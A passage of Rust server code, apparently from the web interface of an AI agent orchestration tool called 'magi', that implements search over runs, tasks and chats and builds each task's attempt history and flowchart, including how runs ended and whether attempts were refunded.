4373/// (session ids, repo paths, usage, drafts) is part of the document.
4374///
4375/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4376/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4377fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4378    let opener = talk
4379        .turns
4380        .iter()
4381        .find(|t| t.who == crate::talk::Who::Operator)
4382        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4383        .unwrap_or("");
4384    let title: String = if opener.chars().count() > 96 {
4385        opener.chars().take(95).chain(['\u{2026}']).collect()
4386    } else {
4387        opener.to_owned()
4388    };
4389    let turns: Vec<serde_json::Value> = talk
4390        .turns
4391        .iter()
4392        .map(|t| {
4393            let who = match t.who {
4394                crate::talk::Who::Operator => "operator",
4395                crate::talk::Who::Agent => "agent",
4396            };
4397            serde_json::json!({ who: t.body })
4398        })
4399        .collect();
4400    serde_json::json!({ "title": title, "turns": turns })
4401}
4402
4403/// Read-only full-text search over every run's `run.json`, every task or every
4404/// conversation (title and transcript).
4405///
4406/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4407/// record from an older schema still searches; only a file that is not JSON
4408/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4409async fn search_get(
4410    State(ui): State<Arc<Ui>>,
4411    Query(q): Query<SearchQuery>,
4412) -> ApiResult<Json<SearchView>> {
4413    let query = q.q.trim().to_owned();
4414    if query.is_empty() {
4415        return Err(ApiError::bad_request("q must not be empty"));
4416    }
4417    if query.chars().count() > SEARCH_MAX_QUERY {
4418        return Err(ApiError::bad_request(format!(
4419            "q is longer than {SEARCH_MAX_QUERY} characters"
4420        )));
4421    }
4422    let terms = search_terms(&query);
4423    if terms.len() > SEARCH_MAX_TERMS {
4424        return Err(ApiError::bad_request(format!(
4425            "q has more than {SEARCH_MAX_TERMS} terms"
4426        )));
4427    }
4428    let scope = q.scope;
4429    if scope != "runs" && scope != "tasks" && scope != "chats" {
4430        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4431    }
4432    blocking(move || {
4433        let mut view = SearchView {
4434            scope: scope.clone(),
4435            q: query,
4436            hits: Vec::new(),
4437            total: 0,
4438            truncated: false,
4439            unreadable: 0,
4440        };
4441        if scope == "runs" {
4442            let mut unreadable = 0;
4443            // One run.json is read, matched and dropped at a time; nothing
4444            // holds the whole history. The scan runs to the end even past the
4445            // hit cap so `total` and `unreadable` stay exact.
4446            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4447                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4448                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4449                    Some(v) => Some((id, v)),
4450                    None => {
4451                        unreadable += 1;
4452                        None
4453                    }
4454                }
4455            });
4456            search_docs(&terms, docs, &mut view);
4457            view.unreadable = unreadable;
4458            // Only the capped hits get a row: the filters need a run's state,
4459            // and reading every match would be the whole history again.
4460            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4461            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4462            for hit in &mut view.hits {
4463                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4464                    hit.run = summarize(
4465                        [state],
4466                        &open_runs,
4467                        &claimed,
4468                        &superseded,
4469                        |p| probe.borrow_mut().status(p),
4470                        |p| probe.borrow_mut().started_at(p),
4471                    )
4472                    .pop();
4473                }
4474            }
4475        } else if scope == "chats" {
4476            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4477            view.unreadable = unreadable;
4478            search_docs(
4479                &terms,
4480                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4481                &mut view,
4482            );
4483        } else {
4484            let docs = ui.queue.list().into_iter().filter_map(|t| {
4485                let mut v = serde_json::to_value(&t).ok()?;
4486                // `source` serialises as a tagged object; the label is what
4487                // the operator reads ("human", "chat@a1b2").
4488                if let Some(o) = v.as_object_mut() {
4489                    o.insert("filed_by".to_owned(), t.source.label().into());
4490                }
4491                Some((t.id, v))
4492            });
4493            search_docs(&terms, docs, &mut view);
4494        }
4495        Ok(Json(view))
4496    })
4497    .await
4498}
4499
4500/// One attempt in a task's history, as the task page lists it.
4501#[derive(Debug, Serialize)]
4502struct TaskRunView {
4503    /// 1-based position in [`Task::runs`].
4504    n: usize,
4505    id: String,
4506    short: String,
4507    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4508    kind: &'static str,
4509    /// The run's own status string; `None` when its record cannot be read.
4510    status: Option<&'static str>,
4511    /// Whether this build could read the run's record. Counted, never hidden.
4512    readable: bool,
4513    /// A verdict from a collapsed panel is provisional, never a decision.
4514    provisional: bool,
4515    /// What kind of attempt this was, in one line.
4516    description: String,
4517    /// How it ended and why the task moved on (or what it is doing now).
4518    outcome: String,
4519    created_at: Option<Timestamp>,
4520    pr: Option<String>,
4521    /// Why this pass ended, classified once; the flowchart is built from it.
4522    exit: RunExit,
4523    /// What the pass did to the task's attempt budget.
4524    attempt: AttemptCost,
4525    /// Edge wording for leaving this entry; names the recorded cause when
4526    /// there is one.
4527    exit_label: String,
4528    /// The position of a later entry for the same run: this entry is an
4529    /// earlier pass of it.
4530    later_pass: Option<usize>,
4531    /// Which pass over the run this entry is (1-based) and how many entries
4532    /// the task lists for the run. Counted from the list, so known even for
4533    /// a legacy record.
4534    pass_n: usize,
4535    passes_of_run: usize,
4536    /// What the run recorded about this pass; `None` for a record from before
4537    /// passes were kept, whose cause stays unknown.
4538    pass: Option<PassView>,
4539    /// The branch a review-only run reopened.
4540    branch: Option<String>,
4541    /// The badge word when it differs from `status` (`stale` / `superseded`);
4542    /// filled by the task route, which can see liveness and later attempts.
4543    badge: Option<String>,
4544}
4545
4546/// One recorded pass over a run, for the wire.
4547#[derive(Debug, Clone, PartialEq, Serialize)]
4548struct PassView {
4549    index: usize,
4550    resumed: bool,
4551    started_at: Timestamp,
4552    ended_at: Option<Timestamp>,
4553    /// `open`, `parked` or `unrecorded`.
4554    end: &'static str,
4555    cause: Option<crate::run::ParkCause>,
4556    /// One line: why it stopped, or that nobody recorded why.
4557    label: String,
4558    /// What the task recorded for this pass; `None` when it was not settled
4559    /// (or settled by a build that kept no record).
4560    cost: Option<crate::queue::PassCost>,
4561}
4562
4563impl PassView {
4564    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4565        use crate::run::PassEnd;
4566        let (end, cause, label) = match &p.end {
4567            None => ("open", None, "still open".to_owned()),
4568            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
4569            Some(PassEnd::Unrecorded) => (
4570                "unrecorded",
4571                None,
4572                "stopped without recording why (a crash, a kill or a restart; not known)"
4573                    .to_owned(),
4574            ),
4575        };
4576        Self {
4577            index: p.index,
4578            resumed: p.resumed,
4579            started_at: p.started_at,
4580            ended_at: p.ended_at,
4581            end,
4582            cause,
4583            label,
4584            cost: settled.map(|t| t.cost),
4585        }
4586    }
4587}
4588
4589/// How one pass over a run ended, as far as the task's life is concerned.
4590#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4591#[serde(rename_all = "snake_case")]
4592enum RunExit {
4593    Unreadable,
4594    /// An earlier pass of a run id that appears again: it stopped short.
4595    Interrupted,
4596    Parked,
4597    QuotaStall,
4598    /// Stalled on a resumed pass with quota losses on record: they may be
4599    /// left over from an earlier pass, so whether this one was refunded is
4600    /// not knowable.
4601    ResumedQuotaStall,
4602    Merged,
4603    Ready,
4604    Superseded,
4605    /// The change was already on the base under other commits: the task
4606    /// finished without this run landing anything.
4607    AlreadyInBase,
4608    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4609    Stalled,
4610    /// Blocked / no-op with a pull request left open: held for a person.
4611    HeldWithPr,
4612    NoopHeld,
4613    /// Blocked or failed: the attempt is spent and the task retries or holds.
4614    Spent,
4615    InProgress,
4616}
4617
4618#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4619#[serde(rename_all = "snake_case")]
4620enum AttemptCost {
4621    Spent,
4622    Refunded,
4623    None,
4624    /// Cannot be told from the records that remain.
4625    Unknown,
4626}
4627
4628impl RunExit {
4629    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4630        let Some(s) = s else {
4631            return Self::Unreadable;
4632        };
4633        let status = s.status;
4634        if resumed_later {
4635            Self::Interrupted
4636        } else if s.parked {
4637            Self::Parked
4638        } else if !status.done() {
4639            Self::InProgress
4640        } else if matches!(status, RunStatus::Merged) {
4641            Self::Merged
4642        } else if matches!(status, RunStatus::Ready) {
4643            Self::Ready
4644        } else if matches!(status, RunStatus::Superseded) {
4645            Self::Superseded
4646        } else if matches!(status, RunStatus::AlreadyInBase) {
4647            Self::AlreadyInBase
4648        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4649            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4650        {
4651            if resumed {
4652                Self::ResumedQuotaStall
4653            } else {
4654                Self::QuotaStall
4655            }
4656        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4657            Self::HeldWithPr
4658        } else if matches!(status, RunStatus::VerifiedNoop) {
4659            Self::NoopHeld
4660        } else if matches!(status, RunStatus::Stalled) {
4661            Self::Stalled
4662        } else {
4663            Self::Spent
4664        }
4665    }
4666
4667    fn cost(self) -> AttemptCost {
4668        match self {
4669            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4670            Self::Merged
4671            | Self::Ready
4672            | Self::Stalled
4673            | Self::HeldWithPr
4674            | Self::NoopHeld
4675            | Self::Spent => AttemptCost::Spent,
4676            Self::InProgress => AttemptCost::None,
4677            Self::AlreadyInBase => AttemptCost::Refunded,
4678            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4679                AttemptCost::Unknown
4680            }
4681        }
4682    }
4683
4684    /// Short edge wording for leaving a run this way.
4685    fn edge_label(self, status: Option<&str>) -> String {
4686        match self {
4687            Self::Unreadable => "record unreadable".to_owned(),
4688            Self::Interrupted => "interrupted before the run finished".to_owned(),
4689            Self::Parked => "parked, attempt refunded".to_owned(),
4690            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4691            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4692            Self::Merged => "merged".to_owned(),
4693            Self::Ready => "ready, not merged".to_owned(),
4694            Self::Superseded => "superseded by a later attempt".to_owned(),
4695            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4696            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4697            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4698            Self::NoopHeld => "verified no-op".to_owned(),
4699            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4700            Self::InProgress => "in progress".to_owned(),
4701        }
4702    }
4703
4704    /// Does a task in `end` follow from a run that ended this way? When not,
4705    /// somebody closed or held the task by hand.
4706    fn explains(self, end: TaskStatus) -> bool {
4707        match self {
4708            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4709            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4710            Self::Unreadable | Self::Superseded | Self::Ready => true,
4711            _ => end != TaskStatus::Done,
4712        }
4713    }
4714}
4715
4716/// `GET /api/queue/{id}` - one task with every attempt it went through.
4717#[derive(Debug, Serialize)]
4718struct TaskDetailView {
4719    #[serde(flatten)]
4720    task: TaskView,
4721    /// The attempt budget `magi serve` / `magi web` start a loop with unless
4722    /// told otherwise; the loop's own flag is not visible from here.
4723    max_attempts: usize,
4724    history: Vec<TaskRunView>,
4725    /// Entries in `history`: passes over runs, not distinct runs and not
4726    /// attempts consumed (`task.attempts`).
4727    passes_total: usize,
4728    /// Distinct runs those passes belong to.
4729    runs_distinct: usize,
4730    flow: FlowView,
4731    /// Set for a follow-up task; see [`followup_origin`].
4732    followup_origin: Option<FollowUpOrigin>,
4733    /// How many entries of `history` could not be read.
4734    runs_unreadable: usize,
4735    /// Why the attempt count can be lower than the number of runs.
4736    attempts_note: &'static str,
4737}
4738
4739const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
4740and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
4741on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
4742the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
4743
4744/// The branch a review-only run reopened, read off the instruction
4745/// `Runner::open_review` writes.
4746fn review_branch_of(instruction: &str) -> Option<&str> {
4747    let rest = instruction.strip_prefix("Review the work already on branch `")?;
4748    rest.split('`').next().filter(|b| !b.is_empty())
4749}
4750
4751/// Where an entry sits in a task's run list.
4752#[derive(Default)]
4753struct RunSlot<'a> {
4754    /// 1-based position.
4755    n: usize,
4756    /// The same run id appeared earlier: this pass resumed it.
4757    resumed: bool,
4758    /// Position of a later pass over the same run id, if any.
4759    resumed_later: Option<usize>,
4760    /// The previous distinct run and how it ended, for the retry note.
4761    prior: Option<(&'a str, RunStatus)>,
4762    last: bool,
4763    /// This pass as the run recorded it, when it did.
4764    pass: Option<&'a crate::run::RunPass>,
4765    /// What the task recorded when it settled this pass.
4766    settled: Option<&'a crate::queue::TaskPass>,
4767    /// 1-based position among the task's entries for this run, and their count.
4768    pass_n: usize,
4769    passes_of_run: usize,
4770}
4771
4772/// Describe one entry of a task's run list. Pure: everything it needs is on
4773/// the run and the task, so it is asserted without a server.
4774fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
4775    let RunSlot {
4776        n,
4777        resumed,
4778        resumed_later,
4779        prior,
4780        last,
4781        pass,
4782        settled,
4783        pass_n,
4784        passes_of_run,
4785    } = at;
4786    let short = run::short_of(id).to_owned();
4787    let Some(s) = state else {
4788        return TaskRunView {
4789            n,
4790            id: id.to_owned(),
4791            short,
4792            kind: "unknown",
4793            status: None,
4794            readable: false,
4795            provisional: false,
4796            description:
4797                "This run's record could not be read by this build (written by a different \
4798                          magi, or removed), so what kind of attempt it was is unknown."
4799                    .to_owned(),
4800            outcome: String::new(),
4801            created_at: None,
4802            pr: None,
4803            exit: RunExit::Unreadable,
4804            attempt: AttemptCost::Unknown,
4805            exit_label: RunExit::Unreadable.edge_label(None),
4806            later_pass: resumed_later,
4807            pass_n,
4808            passes_of_run,
4809            pass: None,
4810            branch: None,
4811            badge: None,
4812        };
4813    };
4814    let branch = review_branch_of(&s.instruction);
4815    let kind = if resumed {
4816        "resume"
4817    } else if branch.is_some() {
4818        "review"
4819    } else if task.solo || s.candidates.len() == 1 {
4820        "solo"
4821    } else {
4822        "competition"
4823    };
4824    let mut description = match kind {
4825        "resume" => {
4826            format!("Resumed run {short}: the same run carried on instead of competing again.")
4827        }
4828        "review" => format!(
4829            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4830            branch.unwrap_or_default()
4831        ),
4832        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4833        _ => format!(
4834            "Competition: {} candidates judged blind.",
4835            s.candidates.len().max(1)
4836        ),
4837    };
4838    if !resumed && let Some((p, st)) = prior {
4839        description.push_str(&format!(
4840            " A retry: run {p} before it ended {}.",
4841            st.display_label()
4842        ));
4843    }
4844
4845    let status = s.status;
4846    let provisional = matches!(status, RunStatus::Stalled)
4847        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4848    let head = if resumed_later.is_some() {
4849        String::new()
4850    } else {
4851        match status {
4852            RunStatus::Merged => "Merged.".to_owned(),
4853            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4854            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4855            RunStatus::AlreadyInBase => {
4856                "Already in the base: this change landed under other commits, nothing was left to land."
4857                    .to_owned()
4858            }
4859            RunStatus::Stalled => {
4860                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4861                    .to_owned()
4862            }
4863            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4864            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4865            RunStatus::VerifiedNoop => {
4866                "Verified no-op: the candidates found nothing to change.".to_owned()
4867            }
4868            other if other.done() => format!("Ended {}.", other.display_label()),
4869            other => format!("In progress ({}).", other.display_label()),
4870        }
4871    };
4872    let view = pass.map(|p| PassView::of(p, settled));
4873    let recorded_end = view
4874        .as_ref()
4875        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
4876    let cost_words = match view.as_ref().and_then(|v| v.cost) {
4877        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
4878        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
4879        None => "whether its attempt was handed back was not recorded",
4880    };
4881    let pass_note = if passes_of_run > 1 {
4882        format!(
4883            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
4884        )
4885    } else {
4886        String::new()
4887    };
4888    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
4889        // The run recorded this pass's end when it happened.
4890        let cause = match v.end {
4891            "parked" => format!("It was stopped on purpose: {}.", v.label),
4892            _ => format!("It {}.", v.label),
4893        };
4894        format!(
4895            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
4896            capitalise(cost_words)
4897        )
4898    } else if let Some(k) = resumed_later {
4899        // A run is only picked up again while it is unfinished, so an earlier
4900        // pass of a repeated id stopped short; the record keeps only the run's
4901        // latest status, which is left to the pass that carried it on.
4902        // Only the latest state is recorded: `parked` is cleared on resume
4903        // and `quota` accumulates across passes, so neither says why *this*
4904        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4905        let cause = if s.quota.is_empty() {
4906            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4907        } else {
4908            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4909        };
4910        format!(
4911            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4912        )
4913    } else if s.parked {
4914        match recorded_end.and_then(|v| v.cause.as_ref()) {
4915            Some(cause) => format!(
4916                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
4917                cause.label(),
4918                cost_words
4919            ),
4920            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
4921                .to_owned(),
4922        }
4923    } else if !status.done()
4924        || matches!(
4925            status,
4926            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4927        )
4928    {
4929        String::new()
4930    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4931        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4932    {
4933        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4934            .to_owned()
4935    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4936        " It left a pull request open, so the task was held for a person rather than retried."
4937            .to_owned()
4938    } else if matches!(status, RunStatus::VerifiedNoop) {
4939        " Held for a person to check the claim.".to_owned()
4940    } else if last {
4941        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4942    } else {
4943        " It spent an attempt, and the task moved on to the next run.".to_owned()
4944    };
4945    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4946    let mut attempt = exit.cost();
4947    let mut exit_label = None;
4948    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
4949        let spent = match v.cost {
4950            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
4951            Some(crate::queue::PassCost::Spent) => ", attempt counted",
4952            None if resumed_later.is_some() => ", refund not recorded",
4953            None => ", attempt refunded",
4954        };
4955        attempt = match v.cost {
4956            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
4957            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
4958            None if resumed_later.is_some() => AttemptCost::Unknown,
4959            None => attempt,
4960        };
4961        if v.end == "parked" {
4962            exit = RunExit::Parked;
4963            exit_label = Some(match v.cause.as_ref() {
4964                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
4965                    format!("parked for {}{spent}", c.label())
4966                }
4967                Some(c) => format!("parked ({}){spent}", c.label()),
4968                None => format!("parked{spent}"),
4969            });
4970        } else {
4971            exit_label = Some(format!("stopped without a recorded cause{spent}"));
4972        }
4973    }
4974    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
4975    TaskRunView {
4976        n,
4977        id: id.to_owned(),
4978        short,
4979        kind,
4980        status: Some(status.as_str()),
4981        readable: true,
4982        provisional,
4983        description,
4984        outcome: format!("{head}{why}"),
4985        created_at: Some(s.created_at),
4986        pr: s.pr.as_ref().map(|p| p.url.clone()),
4987        exit,
4988        attempt,
4989        exit_label,
4990        later_pass: resumed_later,
4991        pass_n,
4992        passes_of_run,
4993        pass: view,
4994        branch: branch.map(str::to_owned),
4995        badge: None,
4996    }
4997}
4998
4999fn capitalise(s: &str) -> String {
5000    let mut c = s.chars();
5001    c.next().map_or_else(String::new, |f| {
5002        f.to_uppercase().collect::<String>() + c.as_str()
5003    })
5004}
5005
5006/// One box of the task's flowchart.
5007#[derive(Debug, Serialize, PartialEq)]
5008struct FlowNode {
5009    /// Unique by position: a resumed run id appears once per pass.
5010    key: String,
5011    /// `chat`, `followup`, `start`, `run` or `end`.
5012    kind: &'static str,
5013    label: String,
5014    /// Run status (or the task's, for `end`); `None` when it is not a fact
5015    /// about this box (unreadable, or a pass the run later resumed from).
5016    status: Option<&'static str>,
5017    /// Whose status `status` is, so the client picks the right colour table:
5018    /// `task` (the `followup` parent and `end`) or `run`.
5019    status_of: &'static str,
5020    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
5021    note: Option<&'static str>,
5022    run_kind: Option<&'static str>,
5023    detail: Option<String>,
5024    /// A readable run with a real verdict; a stall never is.
5025    decided: bool,
5026    readable: bool,
5027    href: Option<String>,
5028    /// Overrides `status` as the badge word (`stale` / `superseded`).
5029    badge: Option<String>,
5030}
5031
5032#[derive(Debug, Serialize, PartialEq)]
5033struct FlowEdge {
5034    from: String,
5035    to: String,
5036    label: String,
5037    attempt: AttemptCost,
5038}
5039
5040#[derive(Debug, Serialize, PartialEq)]
5041struct FlowView {
5042    nodes: Vec<FlowNode>,
5043    edges: Vec<FlowEdge>,
5044    /// Attempts the task has counted since it was last released.
5045    attempts: usize,
5046    max_attempts: usize,
5047    /// Entries in the run list (passes), and how many distinct runs they are.
5048    /// Neither is the number of attempts consumed.
5049    passes: usize,
5050    runs: usize,
5051}
5052
5053/// Turn a task and its described runs into the flowchart's boxes and arrows.
5054/// Pure: the page only draws what this returns.
5055///
5056/// A follow-up opens with its parent (or the merged run) unless the task's
5057/// *source* is itself a chat, in which case the chat stays first and the
5058/// follow-up node comes second. An inherited `Task::origin_chat` alone never
5059/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
5060/// two normally do not coincide and the nearer origin wins.
5061fn task_flow(
5062    task: &Task,
5063    history: &[TaskRunView],
5064    max_attempts: usize,
5065    origin: Option<&FollowUpOrigin>,
5066) -> FlowView {
5067    let node = |key: &str, kind, label: String| FlowNode {
5068        key: key.to_owned(),
5069        kind,
5070        label,
5071        status: None,
5072        status_of: "run",
5073        note: None,
5074        run_kind: None,
5075        detail: None,
5076        decided: false,
5077        readable: true,
5078        href: None,
5079        badge: None,
5080    };
5081    let mut nodes = Vec::new();
5082    let mut edges: Vec<FlowEdge> = Vec::new();
5083    // A task queued from a chat opens the flow with that conversation.
5084    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5085        let mut n = node(
5086            "chat",
5087            "chat",
5088            format!("Chat {}", crate::queue::short(&link.id)),
5089        );
5090        n.href = Some(link.href);
5091        nodes.push(n);
5092        edges.push(FlowEdge {
5093            from: "chat".to_owned(),
5094            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5095            label: "queued from chat".to_owned(),
5096            attempt: AttemptCost::None,
5097        });
5098    }
5099    if let Some(o) = origin {
5100        let mut n = match &o.parent {
5101            Some(p) => {
5102                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5103                n.status = Some(p.status);
5104                n.status_of = "task";
5105                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5106                n.href = Some(p.href.clone());
5107                n
5108            }
5109            None => {
5110                let mut n = node(
5111                    "origin",
5112                    "followup",
5113                    format!("Follow-up of run {}", o.run.short),
5114                );
5115                n.detail = Some("merged run".to_owned());
5116                n.status = o.run.status;
5117                n.href = o.run.href.clone();
5118                if o.run.href.is_none() {
5119                    n.readable = false;
5120                    n.note = Some("unreadable");
5121                }
5122                n
5123            }
5124        };
5125        n.decided = true;
5126        let from = n.key.clone();
5127        nodes.push(n);
5128        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5129        let more = o.findings.len().saturating_sub(shown.len());
5130        let label = match (shown.is_empty(), more) {
5131            (true, _) => "open findings".to_owned(),
5132            (false, 0) => format!("open findings {}", shown.join(", ")),
5133            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5134        };
5135        edges.push(FlowEdge {
5136            from,
5137            to: "start".to_owned(),
5138            label,
5139            attempt: AttemptCost::None,
5140        });
5141    }
5142    nodes.push(node("start", "start", "Task queued".to_owned()));
5143    let mut prev = "start".to_owned();
5144    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5145    for (i, h) in history.iter().enumerate() {
5146        let key = format!("run-{}", h.n);
5147        let mut n = node(&key, "run", format!("Run {}", h.short));
5148        n.run_kind = Some(h.kind);
5149        n.readable = h.readable;
5150        n.href = Some(format!("#/runs/{}", h.id));
5151        n.decided = h.readable && !h.provisional;
5152        n.detail = h
5153            .branch
5154            .as_ref()
5155            .map(|b| format!("review-only run of branch {b}"));
5156        match h.exit {
5157            RunExit::Unreadable => n.note = Some("unreadable"),
5158            RunExit::Interrupted => n.note = Some("interrupted"),
5159            // An earlier pass the run recorded as parked: the status shown
5160            // would be the run's current one, not this pass's.
5161            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5162            _ => {
5163                n.status = h.status;
5164                n.badge = h.badge.clone();
5165                if h.provisional {
5166                    n.note = Some("no verdict");
5167                }
5168            }
5169        }
5170        let into = match h.kind {
5171            "review" => Some(format!(
5172                "review-only run of branch {}",
5173                h.branch.as_deref().unwrap_or("?")
5174            )),
5175            "resume" => Some("resume the same run".to_owned()),
5176            _ if i > 0 => Some("retry".to_owned()),
5177            _ => None,
5178        };
5179        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5180        let label = match (prev_exit, into) {
5181            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5182            (Some((_, l, _)), None) => l,
5183            (None, Some(i)) => i,
5184            (None, None) => "claimed".to_owned(),
5185        };
5186        edges.push(FlowEdge {
5187            from: prev.clone(),
5188            to: key.clone(),
5189            label,
5190            attempt,
5191        });
5192        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5193        prev = key;
5194        nodes.push(n);
5195    }
5196    let mut end = node("end", "end", task.status.as_str().to_owned());
5197    end.status = Some(task.status.as_str());
5198    end.status_of = "task";
5199    nodes.push(end);
5200    let (label, attempt) = match prev_exit {
5201        None => (
5202            format!("no run yet \u{2192} {}", task.status.as_str()),
5203            AttemptCost::None,
5204        ),
5205        Some((e, l, cost)) if e.explains(task.status) => {
5206            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5207        }
5208        Some((_, _, cost)) => (
5209            format!("closed by hand: task is {}", task.status.as_str()),
5210            cost,
5211        ),
5212    };
5213    edges.push(FlowEdge {
5214        from: prev,
5215        to: "end".to_owned(),
5216        label,
5217        attempt,
5218    });
5219    FlowView {
5220        nodes,
5221        edges,
5222        attempts: task.attempts,
5223        max_attempts,
5224        passes: history.len(),
5225        runs: distinct_runs(&task.runs),
5226    }
5227}
5228
5229/// How many different run ids a task's run list names.
5230fn distinct_runs(runs: &[String]) -> usize {
5231    let mut seen: Vec<&str> = Vec::new();
5232    for r in runs {
5233        if !seen.contains(&r.as_str()) {
5234            seen.push(r);
5235        }
5236    }
5237    seen.len()
5238}
5239
5240/// Describe every entry of `task.runs`, in order, reading each run's record
5241/// through `read`.
5242fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
5243    let mut history = Vec::with_capacity(task.runs.len());
5244    let mut seen: Vec<&str> = Vec::new();
5245    let mut prior: Option<(&str, RunStatus)> = None;
5246    for (i, run_id) in task.runs.iter().enumerate() {
5247        let state = read(run_id);
5248        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
5249        let resumed = k > 0;
5250        seen.push(run_id);
5251        let total = task.runs.iter().filter(|r| *r == run_id).count();
5252        // The run keeps one record per pass from the build that added them
5253        // on; earlier entries of the list have none and stay unknown. Only
5254        // passes the task counted are entries (a web-button resume is a pass
5255        // with no entry), so align those from the end of the list, and give
5256        // up when the run claims more of them than the task lists.
5257        let pass = state.as_ref().and_then(|s| {
5258            let mine: Vec<&crate::run::RunPass> = s
5259                .passes
5260                .iter()
5261                .filter(|p| {
5262                    p.task_entry
5263                        || task
5264                            .passes
5265                            .iter()
5266                            .any(|t| t.run == *run_id && t.pass_index == p.index)
5267                })
5268                .collect();
5269            let offset = total.checked_sub(mine.len())?;
5270            mine.get(k.checked_sub(offset)?).copied()
5271        });
5272        let settled = pass.and_then(|p| {
5273            task.passes
5274                .iter()
5275                .find(|t| t.run == *run_id && t.pass_index == p.index)
5276        });
5277        history.push(task_run_view(
5278            run_id,
5279            state.as_ref(),
5280            RunSlot {
5281                n: i + 1,
5282                resumed,
5283                resumed_later: task.runs[i + 1..]
5284                    .iter()
5285                    .position(|r| r == run_id)
